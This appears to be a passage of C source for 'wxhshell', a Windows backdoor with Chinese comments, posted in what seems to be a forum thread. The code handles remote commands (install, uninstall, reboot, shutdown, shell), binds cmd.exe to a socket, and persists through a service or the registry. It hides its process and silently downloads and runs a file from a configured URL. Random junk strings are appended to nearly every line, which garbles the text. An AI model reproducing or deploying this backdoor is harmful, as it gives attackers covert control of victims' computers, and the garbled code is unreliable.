  // 帮助 Yv@n$W`:  
  case '?': { WQ% O/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #vga qe9  
    break; OWT%XUW=  
  } q` IY;"~  
  // 安装 $[,4Ib_|  
  case 'i': { m;MJ{"@A'  
    if(Install()) Z${eDl6i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gBcs  
    else ; teM^zyI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qxu3y+po]  
    break; \U>&W  
    } 3]mprX'  
  // 卸载 T]-MrnO  
  case 'r': { [xr^t1  
    if(Uninstall()) 09jE7g @X}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LR>s2zu-  
    else !U m9ceK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); shH2/.>  
    break; K.Y`/<  
    } ,1N|lyV   
  // 显示 wxhshell 所在路径 /o'lGvw  
  case 'p': { y#iz$lX R  
    char svExeFile[MAX_PATH]; W.jXO"pN  
    strcpy(svExeFile,"\n\r"); Z/ jmi  
      strcat(svExeFile,ExeFile); ?{^_z_,  
        send(wsh,svExeFile,strlen(svExeFile),0); -mG`* 0  
    break; 2HN*j~>i~  
    } Bps%>P~.  
  // 重启 a{hc{  
  case 'b': { Hxgc9Fis  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q+9:]Bt  
    if(Boot(REBOOT)) ".(vR7u'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D_czUM  
    else { prz COw  
    closesocket(wsh); :ZIa   
    ExitThread(0); pa+'0Y]71  
    } -kMw[Y  
    break; "YgpgW  
    } kodd7 AD  
  // 关机 nk%v|ZxoFv  
  case 'd': { 52tc|j6~#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O=RS</01!  
    if(Boot(SHUTDOWN)) !uW*~u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T[k$[  
    else { |yeQz  
    closesocket(wsh); 0h*Le  
    ExitThread(0); 6` TwP\!$/  
    } Z}uY%]  
    break; $$1t4=Pz  
    } "}*D,[C5e  
  // 获取shell wb?k  
  case 's': { gI;"PkN  
    CmdShell(wsh); `7: uc@  
    closesocket(wsh); eQu(3sYb  
    ExitThread(0); j0; ~2W#G*  
    break; Rq5'=L  
  } s~A-qG>  
  // 退出 Lxv4w  
  case 'x': { P7XZ|Td4*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v4"Ukv  
    CloseIt(wsh); C:t>u..  
    break; JpC=ACF  
    } TsK!36cg  
  // 离开 [-_{3qq<e  
  case 'q': { =IsmPQKi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xBTx`+%WS  
    closesocket(wsh); rtJER?A  
    WSACleanup(); Y|fD)zG_  
    exit(1); w_Slg&S  
    break; )0exGx+:  
        } WT<}3(S'?  
  } v-3VzAd=*&  
  } K_)~&Cu*'  
qs ep9z.  
  // 提示信息 VRQ`-#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c.IUqin  
} znsQ/[  
  } {f #QZS!E  
I$t8Ko._"  
  return; AF{uFna  
} u NyN[U  
 5cIZ_#  
// shell模块句柄 EyA ny\"  
int CmdShell(SOCKET sock) CsA(oX  
{ vu*e*b$}  
STARTUPINFO si; 2lpPN[~d  
ZeroMemory(&si,sizeof(si)); ))|d~m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T:@6(_Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yogavCD9b/  
PROCESS_INFORMATION ProcessInfo; W-s6+ DY  
char cmdline[]="cmd"; N<rq}^qo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lfHN_fE>Mq  
  return 0; 7s?#y=M  
} 7! >0  
z!3=.D  
// 自身启动模式 . f ja;aG  
int StartFromService(void) e+lun -  
{ agx8 *x  
typedef struct 3)EJws!  
{ FE!jN-#  
  DWORD ExitStatus; Ur xiaE  
  DWORD PebBaseAddress; ;m7G8)I  
  DWORD AffinityMask; TUnAsE/J&  
  DWORD BasePriority; iN Oj @3x  
  ULONG UniqueProcessId; w<`0D)mQ  
  ULONG InheritedFromUniqueProcessId; I2$DlEke  
}   PROCESS_BASIC_INFORMATION; \ T#|<=  
=m2_:&@0x  
PROCNTQSIP NtQueryInformationProcess; W:RjWn@<  
UF!qp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #("M4}~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,yGbMOV  
@\y{q;  
  HANDLE             hProcess; O] PM L`  
  PROCESS_BASIC_INFORMATION pbi; _,L_H[FN  
Q&]|W Xv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w/*G!o- <  
  if(NULL == hInst ) return 0; toPbFU'  
7?whxi Qs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -4Hb]#*2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q0R05*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =l43RawAmu  
a -Pz<*  
  if (!NtQueryInformationProcess) return 0; -13}]Gls7Q  
9-T<gYl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >XgJo7u  
  if(!hProcess) return 0; e n~m)r3&  
Sxq@W8W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qf( A  
T5u71C_wmt  
  CloseHandle(hProcess); 1- s(v)cxh  
^5E9p@d"J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Pjs=n7  
if(hProcess==NULL) return 0; (SRY(q  
~6i'V?>  
HMODULE hMod; Q<V(#)*  
char procName[255]; 61H_o7XXk  
unsigned long cbNeeded; Xb%Q%"?~  
vWoppt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /*y5W-'d^  
Q[#}Oh6$  
  CloseHandle(hProcess); ?0t^7HMP  
L=#NUNiXr  
if(strstr(procName,"services")) return 1; // 以服务启动 zfKO)Itd  
P$U" y/  
  return 0; // 注册表启动 H\Qk U`b  
} W\zZ&*8$  
/Ot3[B  
// 主模块 @G2# Z  
int StartWxhshell(LPSTR lpCmdLine) zE/l  
{ r"2lcNE  
  SOCKET wsl; X=#us7W}  
BOOL val=TRUE; _ACN  
  int port=0; 1jd{AqHl  
  struct sockaddr_in door; v>wN O  
q|<B9Jk  
  if(wscfg.ws_autoins) Install(); } 8 z:L<  
PN93.G(W  
port=atoi(lpCmdLine); Z>`\$1CI  
N~=I))i  
if(port<=0) port=wscfg.ws_port; y-3'qq'E  
*Mhirz% iD  
  WSADATA data; ~".@mubt1$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I.3~ctzu  
LXo$\~M8G8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9PKXQp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %FYhq:j  
  door.sin_family = AF_INET; 7_2D4CI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sg7h&<Xx  
  door.sin_port = htons(port); CnB[ImMs(A  
h}@wPP{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YjDQ`f/  
closesocket(wsl); gF p3=s0~  
return 1; {ze69 h  
} a5#G48'X  
X\Bl? F   
  if(listen(wsl,2) == INVALID_SOCKET) { .h meP MK  
closesocket(wsl); Ts !g=F  
return 1; "6'",  
} f8lyH'z0 @  
  Wxhshell(wsl); $Lj ]NtO  
  WSACleanup(); <u\Hy0g  
b 5|*p(7[  
return 0; #1haq[Uv7  
/iO"4%v  
} o5s6$\"  
vm|u~Yd,s  
// 以NT服务方式启动 +H3~Infr4f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `;}`>!8j  
{ A:(|"<lA  
DWORD   status = 0; Vbv^@Kp  
  DWORD   specificError = 0xfffffff; 89:nF#  
cIwX sx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w317]-n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rQ* w3F?:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FXBmatBck  
  serviceStatus.dwWin32ExitCode     = 0; "v:k5a(  
  serviceStatus.dwServiceSpecificExitCode = 0; (O J/u)W^  
  serviceStatus.dwCheckPoint       = 0; W$`v^1M2o  
  serviceStatus.dwWaitHint       = 0; ura&9~   
tAN!LI+w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c]E pg)E  
  if (hServiceStatusHandle==0) return; f DXK<v)  
F)cCaE;  
status = GetLastError(); Hy3J2p9.  
  if (status!=NO_ERROR) i$] :Y`3h  
{ @HbRfD/!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xK6`|/e  
    serviceStatus.dwCheckPoint       = 0; Trs~KcsD  
    serviceStatus.dwWaitHint       = 0; E'\gd7t ;  
    serviceStatus.dwWin32ExitCode     = status; t[q2 W"#.  
    serviceStatus.dwServiceSpecificExitCode = specificError; y7UU'k`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xH2'PEjFM  
    return; W]eILCo  
  } l!:bNMd  
#k9&OS?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [ ojL9.6  
  serviceStatus.dwCheckPoint       = 0; dQIF '==6  
  serviceStatus.dwWaitHint       = 0; =7+%31  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K uwhA-IL  
} :-d#kU  
legWY)4D;  
// 处理NT服务事件,比如:启动、停止 @2"3RmYLo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5Yv*f:  
{ D 1.59mHsD  
switch(fdwControl) 68?&`/t  
{ R_G2C@y*  
case SERVICE_CONTROL_STOP: 1K3XNHF  
  serviceStatus.dwWin32ExitCode = 0; /)TeG]Xg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -E\G3/*51  
  serviceStatus.dwCheckPoint   = 0; /rZk^/'  
  serviceStatus.dwWaitHint     = 0; 4S'e>:  
  { o`n8Fk}i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X i"9y @  
  } &qWg$_Yh  
  return; cV>?*9z0  
case SERVICE_CONTROL_PAUSE: p|->z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6kp)'wz`  
  break; A~Sc ] M  
case SERVICE_CONTROL_CONTINUE: +>C26Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y[L,rc/j  
  break; |5(un#  
case SERVICE_CONTROL_INTERROGATE: o+hp#e  
  break; !X7z y9  
}; =k<b* 8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O;4S<N  
} R^`}DlHX  
#"6l+}  
// 标准应用程序主函数 4-[U[JJc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5*2hTM!  
{ 4e>f}u 5  
?&0CEfa?  
// 获取操作系统版本 FMCA~N  
OsIsNt=GetOsVer(); e- `9-U%6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /{buFX2"}  
yI8 O#  
  // 从命令行安装 TkTGYh  
  if(strpbrk(lpCmdLine,"iI")) Install(); fASklcQ  
{s@!N  
  // 下载执行文件 Ydsnu  
if(wscfg.ws_downexe) { Q#yHH]U)X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mH;t)dT  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2n>mISy+  
} !jl^__ .DR  
I`B ZZ-  
if(!OsIsNt) { W= NX$=il  
// 如果时win9x,隐藏进程并且设置为注册表启动 EUt2 S_2P  
HideProc(); =55)|$hgD  
StartWxhshell(lpCmdLine); ])y)]H#{  
} ^) s6`:  
else vrmMEWPV  
  if(StartFromService()) @;9KP6d  
  // 以服务方式启动 NUiv"tAY  
  StartServiceCtrlDispatcher(DispatchTable); r^.9 |YM5  
else o]p$ w[5  
  // 普通方式启动 K @&c  
  StartWxhshell(lpCmdLine); VB/75xK_  
=UO7!vr;[  
return 0; U !+O+(  
}
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只看该作者 1 发表于: 2006-10-10
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